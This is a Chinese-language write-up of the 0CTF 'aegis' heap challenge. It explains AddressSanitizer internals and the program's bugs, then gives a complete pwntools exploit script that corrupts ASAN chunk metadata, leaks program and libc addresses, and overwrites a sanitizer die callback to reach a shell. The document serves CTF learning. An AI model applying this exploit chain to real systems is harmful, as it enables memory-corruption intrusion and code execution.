在比赛勉强做出了这道题目,果然0ctf的题都不是简单的
分析题目
Address-Sanitizier 简要分析
一打开文件,发现左边一堆以asan为前缀的的函数
asan(Address-Sanitizier) 早先是LLVM中的特性,后被加入GCC 4.8,在GCC 4.9后加入对ARM平台的支持。因此GCC 4.8以上版本使用ASAN时不需要安装第三方库,通过在编译时指定编译CFLAGS即可打开开关。
asan用于检测各种内存错误漏洞,如use after free,stack overflow, heap overflow等
具体的分析可以看下这篇文章
这里总结一下文章的内容大概就是
- 利用Shadow Memory,将每8个字节映射到Shadow Memory对应的一个字节,对内存的读写操作都会对Shadow Memory对应的内存进行读取内容,判断这个内存读写操作是否非法,映射的规则是
Shadow = (Mem>>3) + 0x7fff8000;
- 对于栈上的变量,会在编译时插桩,在每个栈变量前后都加上Redzone,Redzone是不能读写的,同样还会进行Shadow Memory的映射
- 对于动态分配的内存,会hook掉对应的函数,如malloc, free,然后使用自己的分配策略,同样会用Shadow Memory进行映射
文章中没有说到的我这里补充一下
- 对于会有内存操作的库函数,如strlen等,都会进行hook掉,动态的检测内存
- hook掉的malloc分配的策略大概可以描述如下,不同size分配的内存区域不同,但是地址会固定,如0x10字节大小的,一开始都会分配到0x602000000010这个地址
- 分配的每块内存的前面0x10个字节都会带有一些描述这块内存的信息,如size,使用状态
- free掉之后的内存正常情况是不会再次被分配的
程序功能分析
程序有5个功能,分别是
- add_note
- show_note
- update_note
- delete_note
- secret
下面将会分析每个功能
add_note
首先是遍历前10个位置,看下有没有空位,假如没有就会直接报错退出
接下来是读取note的size,这里限制了下size的范围,然后malloc出来,使用read_until_nl_or_max来读取size-8个字节进malloc的内存里面,read_until_nl_or_max返回值应该就是读取字节的数量,假如读取到max位,会在max位置0,然后返回max-1
之后会读取8个字节大小的ID,赋值到之前读进的数据后面
之后malloc 0x10个字节大小的chunk,将指针存到bss段的notes对应的位置里面
再把一开始malloc的内存指针存到 0x10个字节大小的chunk前8个字节,在后8个字节存一个函数指针cfi_check
最后的布局大概如下
show_note
show note就比较简单,首先读取下标,然后根据下标从notes中取出内存指针,再取出一开始malloc的内存,用strlen来判断读取的内容的长度,然后在此之后8个字节作为ID
用printf来输出
update_note
这里前面跟show_note差不多,然后就是更新各种东西
不过这里有两个bug
第一个是,这里默认read_until_nl_or_max读取数据最后一位肯定为x00
但是实际读取到max之后,后面的ID会和前面的数据连在一起,这样就会导致溢出
第二个就是Address Sanitizier自身的一个漏洞
假如说有这么一个赋值
*(_QWORD *)address = value;
Address Sanitizier会检测
Shadow = (address>>3) + 0x7fff8000;
的内存是否为0,这在address % 8 = 0的情况下工作得非常好
那么如果 address % 8 != 0 呢?
Address Sanitizier 检测到address开始位置的内存是可读写的就会让程序继续进行下去,但是实际上后8个字节如果是不可读写的话,就会变成溢出,最大可以溢出7个字节到下一个块
之后就是执行函数指针,不过这里会在执行前判断一下,基本不可能修改来任意执行
delete_note
这里一开始是选择index,然后拿出来,free掉
这里又是另外一个漏洞,free掉之后没有置0
不过因为用了Address Sanitizier,任何use after free都会退出
而且Address Sanitizier也会把那个地址修改为一个不可读写的地址
secret
这里首先是读取一个地址,然后会判断一下地址右移44位之后是否大于0,假如大于的话,会或运算上0x700000000000,之后会对这个地址写0
因为程序开了PIE,地址大于 0x500000000000,而堆地址是大于0x600000000000,两个都小于0x700000000000,因此是不能对程序中的变量和堆上的变量进行写0操作
唯一有可能的就是Shadow Memory,这里详细的会在后面说
利用漏洞
程序有三个漏洞,还有一个有限地址置0,应该怎么利用好呢?
首先前面分析过,有限地址置0肯定是往Shadow Memory里面置0,那么具体在哪里呢?
我们一步步地分析
首先上面也说过,不同malloc会根据size分配到不同的区域,这里想要溢出什么的,肯定最好也分配0x10的chunk
首先add一个0x10大小的note,然后在内存里面观察下
红色框里面的就是chunkHeader
再看下对应的Shadow Memory
可以看到除了分配的内存以外,其他都不为0
我们试下free掉这个note看看
可以看到Header的内容变了,原来Shadow Memory是00的地方变为fd
其实因为题目的限制,这个时候置0的位置已经很明显了,肯定是在一个malloc的chunk后面的shadow memory那里置0,然后溢出到下一个chunk的header
再通过修改header干一些奇奇怪怪的事情
找了下源码,header的结构如下
前8bit是存的chunk_state 之后24bit存了alloc_tid,以次类推
可以看到还存user_requested_size,可以试着改一下这个
我们这里通过溢出修改了user_requested_size,那么free掉之后会有什么效果呢?
可以看到后面全部变成0xfd,也就是全部当成被free的状态
研究了下,其实他的size是0x20000010,最高位为什么是2就不知道了
然后试着改了下最高位
发现free之后,shadow memory回到一开始的状态
跟踪了一下源码,大概就是size过大,触发了回收机制,把所有chunck回收了
这个时候如果我们再新建一个note,会发现与第一个note重叠了
而且刚好顺序是相反的,内存如下图
也就是我们现在可以控制heap中的内存指针,也就有了任意读,可以leak出程序基址,libc基址
关键现在就是怎么利用呢?
这里我利用的是bss段的一个callback
_ZN11__sanitizerL20InternalDieCallbacksE
在update的时候,检测函数指针错误的时候会调用Die,Die又会调用这个callback,跳转到gets函数,这个时候就有一个ROP,之后ROP一下就能get shell,这里我就不多说了
下面是详细的payload
from pwn import *
debug=1
context.log_level='debug'
if debug:
p=process('aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
gdb.attach(p)
else:
p=remote('111.186.63.209', 6666)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def add(sz,content,id):
sl('1')
ru('Size')
sl(str(sz))
ru('Content')
se(content)
ru('ID')
sl(str(id))
ru('Choice: ')
def show(idx):
sl('2')
ru('Index')
sl(str(idx))
def update(idx,content,id):
sl('3')
ru('Index')
sl(str(idx))
ru('Content: ')
se(content)
ru('New ID:')
sl(str(id))
ru('Choice:' )
def delete(idx):
sl('4')
ru('Index')
sl(str(idx))
ru('Choice:')
def secret(addr):
sl('666')
ru('Lucky Number: ')
sl(str(addr))
ru('Choice:')
add(0x10,'a'*8,0x123456789abcdef)
#0x602000000000
#0x7fff8000
secret(0xc047fff8008-4)
#modify user_requested_size
update(0,'x02'*0x12,0x123456789)
update(0,'x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)
delete(0)
add(0x10,p64(0x602000000018),0)
#leak program base address
show(0)
ru('Content: ')
addr = u64(ru('n')[:-1]+'x00x00')
pbase = addr -0x114AB0
ru('Choice: ')
#leak libc base address
update(1,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)
show(0)
ru('Content: ')
addr = u64(ru('n')[:-1]+'x00x00')
base = addr -0xE4FA0
ru('Choice: ')
#write gets to sanitizerL20InternalDieCallbacksE
update(1,p64(pbase+0xFB08A0)[:7],0)
sl('3')
ru('Index')
sl('0')
ru('Content')
se(p64(base+524464)[:7])
ru('ID')
# ROP one_gadget get shell
payload = 'a'*471+p64(base+0x4f322)+'x00'*0x100
sl(payload)
print(hex(pbase))
print(hex(base))
p.interactive()